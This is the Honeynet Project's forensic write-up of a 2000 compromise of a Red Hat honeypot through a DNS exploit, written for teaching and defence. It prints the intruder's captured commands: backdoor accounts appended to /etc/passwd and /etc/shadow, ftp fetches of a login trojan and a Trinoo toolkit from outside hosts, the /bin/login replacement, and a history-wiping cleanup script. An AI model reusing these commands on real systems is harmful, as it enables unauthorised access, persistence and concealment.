Know Your Enemy: A Forensic Analysis

The Study of an Attack

Honeynet Project
http://project.honeynet.org
Last Modified: 23 May 2000

This paper is a continuation of the Know Your Enemy series. The first three papers covered the tools and tactics of the black-hat community. This paper, the fourth of the series, studies step by step a successful attack of a system. However, instead of focusing on the tools and tactics used, we will focus on how we learned what happened and pieced the information together. The purpose is to give you the forensic skills necessary to analyze and learn on your own the threats your organization faces. There is also an online, interactive version of this paper published by MSNBC.

Background

The information covered here was obtained through the use of a honeypot. The honeypot was a default server installation of Red Hat 6.0. No modifications were made to the default install, so the vulnerabilities discussed here exist on any default RH 6.0 installation. Also, none of the data presented here has been sanitized. All IP addresses, user accounts, and keystrokes discussed here are real. This is done on purpose to both validate the data and give a better understanding of forensic analysis. Only the passwords have been modified to protect the compromised systems. All sniffer information presented here is in snort format. Snort is my sniffer and IDS system of choice, due to its flexibility, capabilities, and price (its free). All actions commited by the black-hat were captured with snort. I use the IDS signatures supplied by Max Vision at www.whitehats.com. You can query his arachNIDs database for more information on all the alerts discussed throughout this paper. You can find my snort configuration and signature file (including the command line options I use) here. Once you are done reading the paper, you can conduct your own forensic analysis, as I have supplied all the raw data. As you read this paper, take note of how many different systems the black-hat uses. Also, throughout this paper, the black-hat is identified as she, but we have no idea what the true gender is.

The Attack

On 26 April, at 06:43 snort alerted me that one of my systems had be attacked with a 'noop' attack. Packet payloads containing noops are an indication of a buffer overflow attack. In this case, snort had detected the attack and logged the alert to my /var/log/messages file (which is monitored by swatch). Note: throughout this paper, the IP address 172.16.1.107 is the IP address of the honeypot. All other systems are the IP addresses used by the black-hat.

```
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
```

My honeypots receive numerous probes, scans and queries on a daily basis. However, an alert like this gets my immediate attention, as it indicates a system may have been compromised. Sure enough, less then two minutes later system logs indicate the system is compromised, as our attacker initiates a connection and logins to the box.

```
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
```

Our intruder has gained super user access and now controls the system. How was this accomplished, what happened? We will now begin our forensic analysis and put the pieces together, step by step.

The Analysis

When studying an attack, the best place to start is the beginning, where did the black-hat start? Black-hats normally start with information gathering, they need to determine what vulnerabilities exist before they can strike. If your system has been compromised, this is normally not the first time the black-hat has communicated with that system. Most attacks involve some type of information gathering before the attack is launched. So, this is where we will start, the black-hat's information gathering stage.

If we look at the alert above, the attack was on port 53. This indicates a DNS attack was launched on our system. So I will begin by looking through my snort alerts and find possible information probes for DNS. We find a DNS version query probe coming from the same system that attacked us.

```
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53
```

Notice the date of the probe, April 25. Our system was attacked April 26, from the same system. Our system was compromised the day after the probe. I am guessing that an automated tool was used by our black-hat to scan numerous systems for a known DNS vulnerability. After the scan was ran, the black-hat reviewed the results, identified vulnerable systems (including ours) and then launched her exploit. We have now pieced together the first part of our story. Our black-hat scanned us on 25 April, then exploited the system the following day. Based on our IDS alerts, it appears we were hit by a script kiddie with a well known DNS vulnerability. But how was the attack launched, and how does it work? Lets find out.

The Exploit

Like most commercial IDS systems, snort has the capability of showing us the packet load data of all IP packets. We will use this capability to conduct an analysis of the exploit. The exploit information was obtained from the snort logs (stored in tcpdump binary format). I queried the snort log and began reviewing the packets starting when the attack was launched. I did not limit my information query to the host 63.236.81.13, as the attacker may have used other systems. This is in fact the case, as our black-hat used at least three different systems to run the exploit. The goal of the exploit is to gain a root shell on the remote system. Once the black-hat gains a root shell, they can run any command as root. Normally an account is placed in the /etc/passwd and /etc/shadow file. You can find both the exploit and remote commands executed in the detailed forensic analysis. Once the exploit was ran and a root shell obtained, the following commands were ran as root.

```
cd /; uname -a; pwd; id;
Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown
/
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd
echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow

echo "hantu::0:0::/:/bin/bash" >> /etc/passwd
echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow
```

Our black-hat runs several commands as root. First, she confirms the system she is on (**uname -a**), the directory (**pwd**) and then confirms her uid (**id**). She then adds two user accounts to the system, *twin* and *hantu*, both with the same password. Note that *twin* has the UID of 506 and *hantu* has the UID of 0 (on a side note, *hantu* means ghost in Indonesian). Remeber, most systems do not let UID 0 telnet to the box. So she had to create an account that would give her remote access, then another account that would give her UID 0. So, our black-hat ran an exploit on DNS, gained a root shell, then inserted two accounts.

Within 90 seconds of the exploit she telnets into the box and gains root access (see timestamps of logs below). So, what does she do next?

```
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
```

Gaining Access

Fortunately for us, telnet is a plaintext protocol, the data is not encrypted. This means we can decode the sniffer traces and capture all the her keystrokes. Snort has already done this for us, another reason I prefer snort. By analyzing the keystrokes snort captured of the telnet sessions, we can determine what our black-hat does. What I like best about decoding telnet sessions as we capture not only STDIN (the keystrokes) but STDOUT and STDER. Lets review the telnet sessions and identify the black-hats activities (comments in **RED**).

First, our friend telnets to the box (from 213.28.22.189) as *twin* and then gains superuser access as *hantu*. Remeber, she cannot just telnet in as *hantu* as UID 0 is restricted for remote access.

```
#' !"'!"# ' 9600,9600'VT5444VT5444
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
login: twin
Password: Password: hax0r
No directory /home/twin!
Logging in with home = "/".
[twin@apollo /]$ su hantu
Password: Password: hax0r
```

Next, our friend ftps to another system to get her toolkit.

```
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
```

Third, she grabs her backdoor, compiles bj.c, and installs it as a replacement for /sbin/login. Notice all the commands executed at the command prompt for the compile. It appears that all the compile commands were executed 'cut and paste' style.

```
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /
usr/bin/xstatcp /bin/login /usr/bin/old                rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/
xstatmv login /bin/loginrm bj.cgcc -o login bj.c
bj.c:16: unterminated string or character constant
bj.c:12: possible real start of unterminated constant
```

She now attempts to implement the compiled backdoor

```
[root@apollo /]# chown root:bin login
chown: login: No such file or directory
root@apollo /]# chmod 4555 login
chmod: login: No such file or directory
root@apollo /]# chmod u-w login
chmod: login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/xstat
root@apollo /]# cp /bin/login /usr/bin/old
root@apollo /]# rm /bin/login
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login
mv: login: No such file or directory
root@apollo /]# rm bj.c
```

Dooh! She just can't get it right, lets try again. She ftp's to the site re-downloads the backdoor.

```
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): [root@apollo /]#   ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
qulocal: bj.c remote: bj.c
200 PORT command successful.
u150 Opening BINARY mode data connection for bj.c (1011 bytes).
226 Transfer complete.
1011 bytes received in 0.134 secs (7.3 Kbytes/sec)
ftp> itit
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
```

This is now her second attempt at compiling the backdoor. Notice the exact same "cut and paste" commands are used.

```
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /
usr/bin/xstatcp /bin/login /usr/bin/old                rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/
xstatmv login /bin/login rm bj.cgcc -o login bj.c
```

```
bj.c: In function `owned':
bj.c:16: warning: assignment makes pointer from integer without a cast
```

Now we see the compiled backdoor implemented. The valid copy of /bin/login is moved to /usr/bin/xstat, while the compiled trojan bj.c is used to replace /bin/login. This is the backdoor. This trojan allows anyone with the TERM setting of vt9111 unauthorized access.

```
[root@apollo /]# chown root:bin login
root@apollo /]# chmod 4555 login
root@apollo /]# chmod u-w login
root@apollo /]# cp /bin/login /usr/bin/xstat
cp: /bin/login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/old
cp: /bin/login: No such file or directory
root@apollo /]# rm /bin/login
rm: cannot remove `/bin/login': No such file or directory
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login
```

Now she covers her moves. I believe this is scripted, cut and paste. Look at all the commands she executed at a single command prompt. Also, I believe this is a 'generic' clean up script, notice how it tries to remove files that do not exist (such as /tmp/h).

```
[root@apollo /]# rm bj.c
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /
tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux |
grep inetd ; ps -aux | grep portmap ; rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/
port                        map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /
usr/                        sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -
rf                         .bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas
h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sb                        in/named
359 ?        00:00:00 inetd
359 ?        00:00:00 inetd
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# ps -aux | grep portmap
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /
tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux |
grep inetd ; ps -aux | grep portmap ; rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/
port                        map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /
usr/                        sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -
rf                         .bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas
h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sb                        in/named
359 ?        00:00:00 inetd
rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
>rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
```

I find this interesting. Our black-hat's generic clean up script generated errors as it attempted to remove files that did not exist. I belive our blackhat saw these errors and became concerened, because she then attempts to manually remove these same files, even though they do not exist.

```
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
```

```
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# exit
exit
twin@apollo /]$ exit
logout
```

That's it, our friend has installed a backdoor, bj.c. The backdoor allows unauthenticated users in based on the TERM setting, in this case VT9111. Once completed, she logged out from the system.

After leaving the system, the black hat made several more connections and modificaitons to the systems. Review the raw data to review the black-hats keystrokes.

Trinoo, The Return

Once the system had been compromised, I took it offline to review the data (such as Tripwire). However, I noticed over the next week that a variety of systems were attempting to telnet to the box. Apparently the black-hat wanted back in, most likely to use the compromised system for more nefarious activity. So, I brought the compromised box back online, curious to see if the black-hat would return and what she would do. Sure enough, almost two weeks later, she returned. Once again, we captured all the keystrokes using snort. Review the following telnet sessions and learn how our compromised system was to be used as a Trinoo client.

On May 9, 10:45 am, our friend telnets in from 24.7.85.192. Note how she uses the backdoor VT9111 to get into the system, bypassing authentication.

```
 !"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[root@apollo /]# ls
bin   cdrom  etc     home  lost+found  proc  sbin  usr
boot  dev    floppy  lib   mnt         root  tmp   var
```

Once on the system, she attempts to use DNS. However, DNS is still broken on the box. Remember, DNS was exploited to gain root access, so the system can no longer resolve domain names.

```
[root@apollo /]# nslookup magix
[root@apollo /]# nslookup irc.powersurf.com
Server:  zeus-internal.uicmba.edu
Address:  172.16.1.101
```

The black-hat ftp's to a system in Singapore and downloads a new tool kit. Notice the 'hidden' directory .s she creates to store the toolkit.

```
[root@apollo /]# mkdir .s
root@apollo /]# cd .s
root@apollo /.s]# ftp nusnet-216-35.dynip.nus.edu.sg
ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host
ftp> qquituit
root@apollo /.s]# ftpr 137.132.216.35
login: ftrp: command not found
root@apollo /.s]#
root@apollo /.s]# ftp 137.132.216.35
Connected to 137.132.216.35.
```

```
220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT
1999) ready.
```

She gains access with the same user name that was inserted in our box.

```
Name (137.132.216.35:root): twin
331 Password required for twin.
Password:hax0r
230 User twin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get d.tar.gz
local: d.tar.gz remote: d.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
226 Transfer complete.
8323 bytes received in 1.36 secs (6 Kbytes/sec)
ftp> quit
221-You have transferred 8323 bytes in 1 files.
221-Total traffic for this session was 8770 bytes in 1 transfers.
221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.
221 Goodbye.
[root@apollo /.s]# gunzip d*
[root@apollo /.s]# tar -xvf d*
daemon/
daemon/ns.c
daemon/ns
[root@apollo /.s]# rm -rf d.tar
root@apollo /.s]# cd daemon
[root@apollo daemon]# chmod u+u+x nsx ns
root@apollo daemon]# ./ns
```

Our black-hat has just installed and started Trinoo client. Next, she attempts to hop to another compromised system. Notice how she sets her VT TERM. This system most likely also has a backdoor. The connection fails since DNS is not working.

```
[root@apollo daemon]# TERM=vt1711
[root@apollo daemon]# telnet macau.hkg.com
macau.hkg.com: Unknown host
root@apollo daemon]# exit
exit
```

Our friend leaves, only to return later from yet a different system (137.132.216.35) and attempt more michief.

```
!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[apollo /]# TERM=vt9111
telnet ns2.cpcc.cc.nc.us
ns2.cpcc.cc.nc.us: Unknown host
apollo /}#telnet 1 152.43.29.52
Trying 152.43.29.52...
Connected to 152.43.29.52.
Escape character is '^]'.
Connection closed by foreign host.
```

```
[root@apollo /]# TERM=vt7877
[root@apollo /]# telnet sparky.w
[root@apollo /]# exit
exit
```

Following this, several attempts were made to use the system as a Trinoo attack against other systems. At this point I disconnected the system. The black-hat intended to use the compromised system for destructive purposes and little more could be gained from the monitoring the connection.

```
May 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 ->
172.16.1.107:27444
May 9 11:03:20 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 ->
137.132.17.202:31335
May 9 11:26:04 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:2988 ->
172.16.1.107:27444
May 9 11:26:04 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 ->
137.132.17.202:31335
May 9 20:48:14 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:3076 ->
172.16.1.107:27444
May 9 20:48:14 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1028 ->
137.132.17.202:31335
```

Summary

We have just covered step by step how a honeypot was compromised, backdoored, and eventually used for a Trinoo attack. On 25 April, the black-hat first scanned the honeypot for which version of DNS version it was running. The following day, on 26 April, she executed the NXT-Named exploit to gain a root shell (see the NXT-Howto for a black-hat HOWTO on the exploit). Once she gained a root shell, she created two system accounts, *twin* and *hantu*. Following this she immediately telneted to the box, gained super user access, then downloaded and installed her backdoor, bj.c. She then executed a script to cover her tracks and then left the system. Over the following weeks she attempted to connect to the system, however it was offline. Finally, on May 9 she gained access, installed and then executed Trinoo. At this point the honeypot was taken offline for good. The majority of forensics was conducted using system logs from the compromised system and snort logs and alerts. Several other people have contributed additional analysis of the attack.

Conclusion

We have just covered a step by step analysis of how a honeypot compromised. The goal was to determine how the system was compromised using forensic anaylisis of system and IDS logs. By analyzing this attack, you should have a better understanding of what to expect and look for when analyzing a system attack. If you would like to learn more about how this information was obtained, check out To Build A Honeypot.

I would like to thank both Marty Roesch and Max Vision for their contribution to the security community. What I have learned here would not have been possible without their hard work. All logs and information were forwarded to CERT before this information was released. Also, attempts were made to contact all IPs involved in the attack.